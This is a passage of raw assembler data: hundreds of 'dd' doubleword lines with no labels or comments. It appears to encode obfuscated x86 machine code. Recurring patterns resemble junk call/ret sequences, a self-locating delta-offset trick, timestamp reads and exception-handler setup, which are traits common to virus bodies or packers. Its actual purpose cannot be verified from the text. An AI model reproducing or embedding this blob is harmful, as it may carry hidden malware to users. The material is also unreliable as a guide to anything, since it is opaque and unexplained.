		dd 81E4C353h, 4EFC0FF3h, 14E85018h, 0E3000000h,	6C201EA3h
		dd 0AF1EB8FDh, 0A7BA275Fh, 0FFA4F41Ch, 8BB42FC4h, 34895BD9h
		dd 54B5FF24h, 660616C4h, 0FF6A54BFh, 13322995h,	14E806h
		dd 45F30000h, 0DAD4BEBDh, 0FB360DAh, 0B173019h,	9CFAB2D7h
		dd 895F4308h, 13093585h, 48B58B06h, 8B0616C4h, 13063185h
		dd 0BE806h, 0B92D0000h,	56740744h, 0E37A7015h, 0FE8B66BCh
		dd 39B5295Fh, 89061312h, 0C486h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 0BCE930EBh
		dd 870Fh, 81660000h, 8BC63BCBh,	131BBD95h, 0DE8B6606h
		dd 0F04C283h, 0B70FDFB7h, 205089FEh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 14C35141h, 0F8B70FDCh, 148ABF66h
		dd 0D8E3858Dh, 6A0616h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 463201C3h, 483FFE11h, 89DABF0Fh
		dd 0B886h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h
		dd 1A04h, 0C3534300h, 0F13B84C4h, 0F9F96060h, 0D15BD89h
		dd 6A0613h, 0E856006Ah,	3, 5EC35E20h, 4247489h,	4244481h
		dd 18h,	0E7C35646h, 0C4C3A563h,	0D4F9EB81h, 0B5FF085Dh
		dd 616C454h, 9595FFF8h,	8B06131Eh, 1325299Dh, 890F9606h
		dd 4, 61585360h, 48E0F50h, 52000000h, 965F6160h, 0F19D8B60h
		dd 6606130Ah, 0FC37E881h, 54B5FF61h, 6A0616C4h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 3CD4C353h, 7DDD9667h, 0A59D8B2Dh, 0FF061324h, 13214595h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1A04h
		dd 0C3524200h, 3A2E624Ah, 83D4915Ah, 131495BDh,	840F0006h
		dd 1Ch,	1F37BB66h, 6E850h, 99FA0000h, 182C75A7h, 895FF98Ah
		dd 9D8B2434h, 6131719h,	0C454B5FFh, 6A0616h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 877A4CC3h
		dd 0E498FF48h, 14E8EAh,	950F0000h, 93D2FA70h, 0F25009B5h
		dd 0E96FA035h, 7B9C3BC1h, 9D016E31h, 6130559h, 99BD8B5Fh
		dd 0FF06130Ah, 1305AD95h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 86EB1F2Bh
		dd 0D9F7C487h, 0D381CD53h, 56CE275Ch, 0C454B5FFh, 9D8B0616h
		dd 613051Dh, 120995FFh,	0BB660613h, 0BD8379D5h,	6130511h
		dd 0C2840F02h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 591DC356h, 80AFF9EFh
		dd 0E85F096Ah, 0Ah, 0A55F7D87h,	622F02C7h, 0B5318AA1h
		dd 6132B35h, 14E85Fh, 11450000h, 59CAAF63h, 3637E17Eh
		dd 509F138Ah, 307EC688h, 9D238082h, 6130A75h, 55858B5Fh
		dd 6A06130Fh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 0C410C356h, 1DE9031Eh,	57D99E3Ch
		dd 0C65B3AB7h, 6A0000h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 0FE4EDC3h, 0E8Fh, 0C8816000h, 12811C47h
		dd 8A0Fh, 1610000h, 132FA5B5h, 5185C706h, 6131Eh, 0E8000000h
		dd 11h,	144535Ah, 0A7F5F116h, 972EC9C1h, 5347AA36h, 0E1BB6623h
		dd 0B5295BF1h, 6132ED9h, 0FFF316E9h, 11E9FFh, 3B8B0000h
		dd 15117FEEh, 71FB26D1h, 30630476h
		dd 60341D71h, 1E018D89h, 14E90613h, 30000000h, 6FD3D4FDh
		dd 0FD216162h, 0A79B1F1Bh, 79E63817h, 61C674F7h, 0CFBBC18Bh
		dd 8D6773BFh, 131EA985h, 8880F06h, 60000000h, 2A258D89h
		dd 90610613h, 5830Fh, 66500000h, 505FFE8Bh, 6DF5BF66h
		dd 0C840F90h, 0F000000h, 680h, 99BD8900h, 0E806130Bh, 13h
		dd 0A109449Bh, 98B052E7h, 0EAAE658Fh, 0E0F448C6h, 0F0931DCh
		dd 6A5BDFB7h, 0FEB70F00h, 9529006Ah, 6130A99h, 2C4858Dh
		dd 6A0618h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 0C083C9C3h, 85850105h, 5006130Dh,	310F5250h
		dd 489585Ah, 50006A24h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1D04h, 0C3504000h, 0EAFEC251h, 8486D6B6h, 8D89C1ADh
		dd 6133231h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 0BD29F5C3h, 61329ADh, 0BD03006Ah
		dd 61307F5h, 7F195FFh, 81660613h, 8D1B44D7h, 16A36A8Dh
		dd 23D1FF06h, 130A6D9Dh, 3DBD8306h, 1061317h, 60850Fh
		dd 820F0000h, 1, 6A026AF8h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 0F0EDC355h,	0D0DFA4D4h
		dd 9F04E2BBh, 219DBD8Bh, 9D8B0613h, 6133091h, 9E950h, 2C110000h
		dd 0ABD6E574h, 89292D26h, 9D8B2404h, 6130F21h, 1E9595FFh
		dd 0BD890613h, 6132C8Dh, 2AE9DE8Ah, 0E800000Dh,	0
		dd 0CEED815Dh, 66061802h, 43ADD381h, 2A05BD8Bh,	9D8B0613h
		dd 6132821h, 8F5E858Dh,	50FC0616h, 3631B5BFh, 24048976h
		dd 8B666051h, 0CC02BACFh, 5F617FC1h, 35FF64h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 4C66C352h, 8964FE8Bh, 25h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h
		dd 0F511DA7h, 0F5BDAB7h, 88Bh, 0F7815200h, 2F311485h, 0D985FF5Fh
		dd 8B061316h, 1310D9BDh, 0CD9D2906h, 6A061307h,	0EF8166FFh
		dd 0B5FFDEC4h, 6132CA1h, 8E0Fh,	95FF0000h, 61331ADh, 0D2E9h
		dd 0ED9D8B00h, 0B0061301h, 0B70F5000h, 70E65FFAh, 0F88B71E4h
		dd 830F613Ch, 0B7h, 0AC99589h, 0B60F0613h, 958957C8h, 613309Dh
		dd 6BA5Fh, 8E0F0000h, 4, 3BFBB66h, 0BF0FC18Bh, 4E8C1FBh
		dd 0EE9h, 0B0593400h, 53AC1D99h, 3D6FB4F6h, 667BE89Eh
		dd 2BFCE2F7h, 0BEECBBC8h, 0D18B7E6Eh, 6AE9h, 0BDBD2900h
		dd 8B061311h, 131ECD9Dh, 50858B06h, 5247554Ch, 5B2DCB80h
		dd 8007C083h, 0C08334CBh, 6BDFBF00h, 0B70F298Dh, 0FD03BDBh
		dd 883h, 35E900h, 0DB800000h, 0FF8D8B65h, 89FFFFFFh, 131711BDh
		dd 1E18306h, 1D840Fh, 0B5090000h, 6130A51h, 0FFFFA583h
		dd 0BFFEFFFFh, 455E402Ah, 4C509589h, 0E94755h, 8D000000h
		dd 177FC7B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1704h, 0C3504000h, 8D99003Dh, 2F04DB81h, 6A75A1h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 5CC35040h, 0A71181F7h
		dd 0DBB13F7Dh, 655BD8Bh, 95FF0613h, 6130DA9h, 3E56BB66h
		dd 0FABB9h, 0B19D8900h,	83061314h, 35B7FCE1h, 6EE4BBFCh
		dd 0B86DB3h, 6A000000h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 0C3BBC353h,	0CF582182h
		dd 7E8413Ah, 91000000h,	0B69B70DCh, 810FB8A5h, 5, 6FF78166h
		dd 0D22B5F51h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 18h,	54C35747h, 0F7B1A3ECh, 0BD8B63BBh, 0C233AD4Ch
		dd 0D003E8D1h, 7504E983h, 55006AF4h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 8B7871A5h
		dd 8166C507h, 0D166BE7h, 88h, 165B589h,	958B0613h, 6131BBDh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 60C35141h
		dd 0FA64A200h, 68D6105Eh, 8820F90h, 52000000h, 0A58529h
		dd 8B5B0613h, 1318DD8Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 7F12BC30h, 0A19D8955h
		dd 50061319h, 188BC28Bh, 188BC103h, 0E8D1C18Bh,	188BC203h
		dd 53006A58h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1C04h
		dd 0C3534300h, 28939761h, 4690456Ch, 3880F07h, 80000000h
		dd 840F06DFh, 5, 553C62BFh, 55006A04h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 0FC189905h
		dd 284C511Dh, 7299D09h,	9D8B0613h, 6132B99h, 1D1DBD83h
		dd 0F000613h, 8484h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 66352C40h, 0B88B9FBBh
		dd 0
		dd 5BF88B52h, 958D89h, 8D8D0613h, 6134F8Dh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 9EC35242h, 0D33BBF66h
		dd 6AE1FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 729A7C3h,	0A102B943h, 811108AAh, 2F0775CBh
		dd 55BD8323h, 61330h, 3E6840Fh,	9D8B0000h, 61310A9h, 3055BD83h
		dd 0F010613h, 3EE84h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 3C6DD081h, 6030F84Eh
		dd 9589CA8Bh, 613320Dh,	55BD8361h, 3061330h, 37F860Fh
		dd 6A600000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 9DD5C352h, 0BC32E7C1h,	104C3994h
		dd 94DBD31h, 8C660613h,	51006AD9h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 0E781857Eh, 5B830CEh
		dd 8004E180h, 8B0F33CBh, 6, 0B41BD8Bh, 0C90A0613h, 11F840Fh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 0B327D9C3h, 918D093Ah, 8B061312h,	132BB985h
		dd 4BDBBF06h, 85333E4Eh, 61305B9h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 94C35242h, 2EF86C4Dh, 46780610h
		dd 9810F50h, 60000000h,	11AE41B8h, 6129B464h, 6A240489h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 9E36C352h, 816AC853h, 0FE9006Ah, 5B000000h
		dd 8B9E9E3Bh, 2113D4BDh, 0EB3DEA7Fh, 9F68E8ECh,	0E86E5172h
		dd 0Ch,	0F7FA2F2Ah, 0CD4019BFh,	0B5B06591h, 0F84CBF66h
		dd 2434815Fh, 6E4E7160h, 0EAF78166h, 3D95FF08h,	8106130Ah
		dd 0A09D5D3h, 54858910h, 6A0616C4h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0FE74C351h
		dd 1BAE9h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h
		dd 1804h, 0C3534300h, 0D114FE64h, 4C858B17h, 660616C4h
		dd 0C7F88Bh, 18h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ch,	0CC35242h, 2C355654h, 468F23D8h, 5459D89h, 0B58B0613h
		dd 616C450h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 17h,	0DEC35747h, 66B29091h, 858BFB8Bh, 6132A55h, 2835B589h
		dd 6890613h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 18h,	5DC35040h, 130EDE52h, 0DE9h, 369DA800h,	0B17D9950h
		dd 86FE4689h, 858B73FCh, 6132BB9h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 16h, 0E9C35141h,	8166F17Eh, 89E7ECC3h
		dd 6A0446h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 0F8E9E4C3h, 3F97FD85h, 0FEB70F2Bh, 12458589h
		dd 9D8B0613h, 6131065h,	0B193BB96h, 66504120h, 96CD71BFh
		dd 0B5FFD98Bh, 616C44Ch, 0B0DB8166h, 5200682Bh,	0BB66C863h
		dd 48148BAh, 0BBB1FF24h, 8D86B337h, 16C45485h, 2BF6606h
		dd 658589A8h, 90061332h, 0F7BF6650h, 6A90BFh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 44F8F2C3h
		dd 0A6236194h, 138FBFDBh, 95FF4B01h, 6130A3Dh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0B9C35747h, 0AEF67D7Ch
		dd 311246B5h, 1DB501E7h, 61061321h, 85C74CB7h, 6133055h
		dd 3, 8E9h, 3686E800h, 117C2D4Bh, 54BD8354h, 616C4h, 33840Fh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 0BD8BE2C3h, 6130959h, 27E9h, 6870F00h, 8B000000h
		dd 1330859Dh, 0C305006h, 11440011h, 10E8C101h, 2114430h
		dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h
		dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 25519589h, 6A0613h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 5F22B2C3h, 2FF96FB0h, 602618D3h, 12E8h, 6CCD7D00h, 88FDFC78h
		dd 0AB50184Dh, 0CF6DB88h, 60A0F35Ch, 95895961h,	6130EA9h
		dd 55BD8361h, 3061330h,	424850Fh, 0E3810000h, 9AAB3A7h
		dd 0C454BD83h, 0F000616h, 41184h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 9F3E886h, 132F8D95h
		dd 54B5FF06h, 890616C4h, 1332319Dh, 6995FF06h, 6A061309h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 6662C350h, 0D973EF81h, 0C448B58Bh, 0EF810616h
		dd 0E96E374h, 106C7h, 89FC0001h, 130911B5h, 0BB669606h
		dd 0E850983Ah, 5, 4F5AC06Eh, 6A965FFEh,	3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 8B58C351h
		dd 0B85D627h, 0A449C6EDh, 0ED9D8B50h, 5B06130Eh, 0C454B5FFh
		dd 4EBB0616h, 0FF4C7858h, 13322995h, 88A0F06h, 0F000000h
		dd 28Eh, 8BF88B00h, 16C448B5h, 31858B06h, 6A061306h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 4895C352h, 70BFFCFDh, 897EF988h, 0C486h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 31CDC766h, 1312398Dh, 0BD958B06h, 6A06131Bh,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 3B23C355h, 6EB95786h, 0E9326C5Fh, 9,	5A703542h, 0FAD0B85Fh
		dd 0D19D8B32h, 83061319h, 6A04C2h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 5429C2C3h, 5BC791Dh
		dd 0BE9h, 51D0800h, 0BE6C8BDFh,	37DCBEF5h, 6A205089h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 6C33C353h, 60E45EA6h, 0A0F657DDh, 0ED858960h, 8B061304h
		dd 132D298Dh, 858D6106h, 616D8E3h, 0AE70BB66h, 0B88689h
		dd 0BD0B0000h, 6132FA5h, 2EB9BD8Bh, 6A0613h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 82C35646h, 715B589Dh
		dd 51BD8BD6h, 0FF061316h, 16C454B5h, 51DB8106h,	0FF5D92CDh
		dd 131E9595h, 0DE906h, 140F0000h, 124D8AB0h, 0D3959886h
		dd 9635DDDEh, 208C68BBh, 0FE8507Dh, 4000000h, 0BBC66F17h
		dd 37725348h, 0F4659D11h, 0D98B500Fh, 0BD8B965Bh, 613193Dh
		dd 0C454B5FFh, 6A0616h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 95FFABC3h, 6132145h, 1495BD83h
		dd 0F000613h, 3884h, 6D9D8B00h,	5006131Fh, 1E418589h, 505F0613h
		dd 4890Fh, 0BF660000h, 3489EBB1h, 11E924h, 8E7E0000h, 20DEEC21h
		dd 951F952Ch, 0B9C48100h, 819FBF4Dh, 0DBECD0D3h, 54B5FF76h
		dd 6A0616C4h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 9261C351h, 0CF55401h, 307D3EE5h
		dd 118E0Fh, 0CE90000h, 64000000h, 0FF3A9579h, 6547C9Ah
		dd 0F877FB4h, 681h, 79BD8900h, 0FF061323h, 1305AD95h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1704h, 0C3514100h
		dd 8596DF3Ah, 0C454B5FFh, 6A0616h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 0BB6629C3h, 9D8B1CCCh
		dd 6132C61h, 120995FFh,	89F90613h, 130B7D95h, 11BD8306h
		dd 2061305h, 65840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 0CBD97FC3h, 0C220147Fh
		dd 9D2B97F7h, 61314F1h,	18F9BD29h, 858B0613h, 6130F55h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0D5C35343h
		dd 4CD86FE9h, 8BD0EB61h, 130B8DBDh, 0C606h, 0C7FE8B66h
		dd 131E5185h, 6, 178C0F00h, 0E9000000h,	12h, 38B54071h
		dd 0C2F6F9B4h, 1114BEFDh, 4DAC65Ch, 0D8E9A5D7h,	8BFFFFF3h
		dd 56006AC1h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1D04h
		dd 0C3564600h, 0D70FB1CBh, 3E22CB86h, 0E9602C9Ch, 13h
		dd 0D869961Bh, 66F62536h, 0EFB521A9h, 8D15A525h, 0E8DDE07Bh
		dd 0Ch,	0B01FCAEDh, 7B4E51AFh, 45CEF2EBh, 1F618D01h, 615B0613h
		dd 0A9858DF5h, 6A06131Eh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 9042C357h, 0AE850h
		dd 46520000h, 911DBCB1h, 961D0BD5h, 0EE8h, 18468B00h, 63214F23h
		dd 17D3BC7Fh, 6056A674h, 905B5F61h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 12C35747h, 66674C16h, 66006A08h
		dd 6AEE98BBh, 49D78100h, 8D5F3E0Dh, 18121185h, 5D9D8B06h
		dd 83061301h, 0BF6605C0h, 60900D4Bh, 0EE8h, 0DE77EA00h
		dd 0CC25E4D9h, 0F1844AEEh, 0B1E53AFBh, 0EA8A5E08h, 52505061h
		dd 0A7DFE7BFh, 5A310F47h, 6A9058h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 1BB755C3h, 0BD898CA9h
		dd 6132269h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 0AD0ED0C3h, 2132AAB3h, 0B340D781h
		dd 6A57CCh, 0E850006Ah,	3, 58C35820h, 4244489h,	4244481h
		dd 15h,	0D9C35040h, 0F195FFA5h,	0B3061307h, 0B8F0FDEh
		dd 0F000000h, 587h, 0F31BB00h, 8D8D31A3h, 616A36Ah, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 71C35141h, 34DAD632h
		dd 0B70F5600h, 0D1FF5BFEh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 14h, 0CDC35141h, 173DBD83h, 0F010613h, 8A85h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 0DDBD3337h, 6A061331h, 45BB6602h, 0CDBF90DDh
		dd 504C669Bh, 0C8F0Fh, 8C0F0000h, 6, 310F5250h,	6A90585Ah
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 4676C353h, 13E9231Dh, 0C8000000h,	5C5D065Fh
		dd 109415D2h, 0EE98594Ch, 68F4B03Eh, 0DB8137AEh, 1464AD93h
		dd 1E9595FFh, 0F0BB0613h, 0E92CDA72h, 0D90h, 0E8h, 0ED815D00h
		dd 618121Bh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 14h,	0D3C35141h, 1E99BD8Bh, 0F88B0613h, 8F5E858Dh, 6A0616h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 1800B6C3h, 5090D9CDh, 7CBF6650h, 89905FCAh, 131569B5h
		dd 35FF6406h, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0CC35646h
		dd 0ABE2E03Ah, 8BED8EF2h, 258964h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 0FF41C355h, 1316D985h, 0BFFF6A06h, 2562912Fh, 20B9B5FFh
		dd 6A0613h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
		dd 51410000h, 2B0173C3h, 0EC4617C5h, 56736375h,	287DBD8Bh
		dd 0FF5F0613h, 1331AD95h, 130E906h, 9D030000h, 6131381h
		dd 816600B0h, 0E65DDEEFh, 3880F70h, 80000000h, 71E47CD7h
		dd 1B99B589h, 613C0613h, 108830Fh, 0FF50000h, 5F53C8B6h
		dd 6BAh, 29858900h, 8B06132Ah, 0C99D89C1h, 6006130Ah, 6EB3B866h
		dd 91E88166h, 0E8C1613Eh, 1111BF04h, 0F7667628h, 0B0BF66E2h
		dd 0C82BF53Ch, 9D01D18Bh, 6130E89h, 0D698D89h, 0BFE90613h
		dd 0E8000000h, 12h, 0AAEEEC51h,	0D67B2BAFh, 72D7CB71h
		dd 75743C53h, 8B5BFC5Bh, 4E4985h, 6850F44h, 89000000h
		dd 130E2995h, 837AB706h, 9D0B07C0h, 61307E1h, 6600C083h
		dd 3B50A6BBh, 13830FD0h, 89000000h, 131FF585h, 70E906h
		dd 850F0000h, 2, 8D8BF88Bh, 0FFFFFFFFh,	0E2B0BB66h, 38B0Fh
		dd 8B660000h, 1E183FEh,	4C840Fh, 85010000h, 613131Dh, 0FFFFA583h
		dd 8BFEFFFFh, 0ED9D29FEh, 8906132Bh, 4E4995h, 0D88B6644h
		dd 0BE8h, 0EFE95500h, 23512A09h, 62E0BA56h, 0EE860h, 5C090000h
		dd 431990DEh, 43C2B46Bh, 0E9E2FE8Ah, 61FE8B58h,	0E95Bh
		dd 0B58D0000h, 6178F72h, 6ADF8Bh, 95FFA4B7h, 6130DA9h
		dd 0E7B9FC8Ah, 8B000011h, 132BA59Dh, 0FCE18306h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 4BC35343h, 5A09BF67h
		dd 405A7CBFh, 9D8BFC41h, 61331A5h, 0B8h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h
		dd 261C9981h, 0CD3E3598h, 816614AFh, 0E98801E7h, 0Ch, 7B1EEC61h
		dd 63D6ED1Bh, 1F3AB5CAh, 0BAF88Bh, 0F000000h, 128Eh, 0DE900h
		dd 0A8820000h, 1894DDF7h, 0D6D36D31h, 0ADA69FB9h, 0E8D1C233h
		dd 0E983D003h, 6AF47504h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 0DD8AC350h,	3CA572C9h
		dd 89823AC6h, 1331C595h, 0CB816606h, 880D8112h,	6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 8FB8C356h, 3B3DBA85h, 89F02428h, 130E7185h
		dd 5840F06h, 66000000h,	0F2F2D381h, 1BBD958Bh, 6A0613h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 689D92C3h, 0EC6290A1h, 11BD8B11h, 66061300h,	8D8BD98Bh
		dd 61318DDh, 840Fh, 8B500000h, 3188BC2h, 8B188BC1h, 3E8D1C1h
		dd 58188BC2h, 6ADEB70Fh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 0D44BC351h,	56699C11h
		dd 24F9B501h, 0BB660613h, 0BD83D614h, 6131D1Dh,	25840F00h
		dd 8B000000h, 132B71BDh, 0B806h, 0BD8B0000h, 6130FE9h
		dd 4F8D8D8Dh, 0BD8B0613h, 6132BEDh, 8D09E1FFh, 6130D79h
		dd 3055BD83h, 0F000613h, 41D84h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 1374F2A9h
		dd 32C2BDC1h, 81667709h, 8350FCD3h, 133055BDh, 840F0106h
		dd 401h, 0A0D9D03h, 0BD830613h,	6133055h, 0B8860F03h, 6A000003h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 7A64C351h, 76AD636Fh, 1CBB6048h, 6608A750h
		dd 6AD98Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 4E2E8EC3h, 898D28BAh, 13239585h, 4E18006h
		dd 27DB8150h, 5F23B088h, 152DBD09h, 0C90A0613h,	0FC840Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 0A564E3C3h, 4899957Eh, 138DBD8Bh,	858B0613h
		dd 6132BB9h, 0B98533F5h, 6A061305h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 507DC357h
		dd 7E9h, 0A3234C00h, 0DD2A6DDEh, 80240489h, 6A6BCBh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0AAC35747h, 0EDA6DDA9h
		dd 0A993B268h, 240481F0h, 0F75704Dh, 0A3D95FFh,	6A0613h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 734F85C3h, 0D2434AD7h, 0DB803F22h, 54858955h, 810616C4h
		dd 0EAF749C3h, 211E967h, 14E80000h, 2A000000h, 429AED57h
		dd 0A208756Bh, 0D4B2211Ch, 4CAB04FEh, 8B3F1D6Ah, 132D0DBDh
		dd 8F0F5F06h, 6, 19918D29h, 858B0613h, 616C44Ch, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 76C35141h, 0C3DC8AE9h
		dd 0CE8FD6Dh, 85000000h, 0F317A822h, 594C80Dh, 0FD88D20h
		dd 28Dh, 5B616000h, 1800C7h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0E2DB14C3h
		dd 716CF4E4h, 8960B901h, 1310F9B5h, 0D19D8B06h,	61061320h
		dd 0C450B58Bh, 0BB660616h, 858BF4B4h, 6132A55h,	19018D89h
		dd 6890613h, 11E8h, 4569AD00h, 79AEF28Bh, 0C10299EFh, 9862449Eh
		dd 9E9A7F1h, 18000000h,	8B1D5EB1h, 47F80B2Ah, 8B1DB75Fh
		dd 132BB985h, 198D2906h, 33061331h, 1301C19Dh, 4468906h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 44C35343h
		dd 9D8B9176h, 6130B39h,	1A019D29h, 0E8500613h, 8, 4CE4FA6Ah
		dd 0E1E465CDh, 9E9h, 474F1900h,	3715C77Eh, 895B5A8Ah, 830F2434h
		dd 6, 1E558529h, 0B5FF0613h, 616C44Ch, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 0A8C35242h,	6568ED27h, 60909E44h
		dd 5205B9BBh, 61F98B63h, 9A240481h, 506F80BFh, 6870Fh
		dd 9D090000h, 6133205h,	54858D5Bh, 6A0616C4h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 9FA6C350h, 74C8ED8Dh, 6E8C551h, 0D000000h, 5AC2D53Eh
		dd 199D03C9h, 5F06131Ah, 2375BD8Bh, 0BF900613h,	5C3AF101h
		dd 905B5250h, 1CD9D89h,	95FF0613h, 6130A3Dh, 0E853006Ah
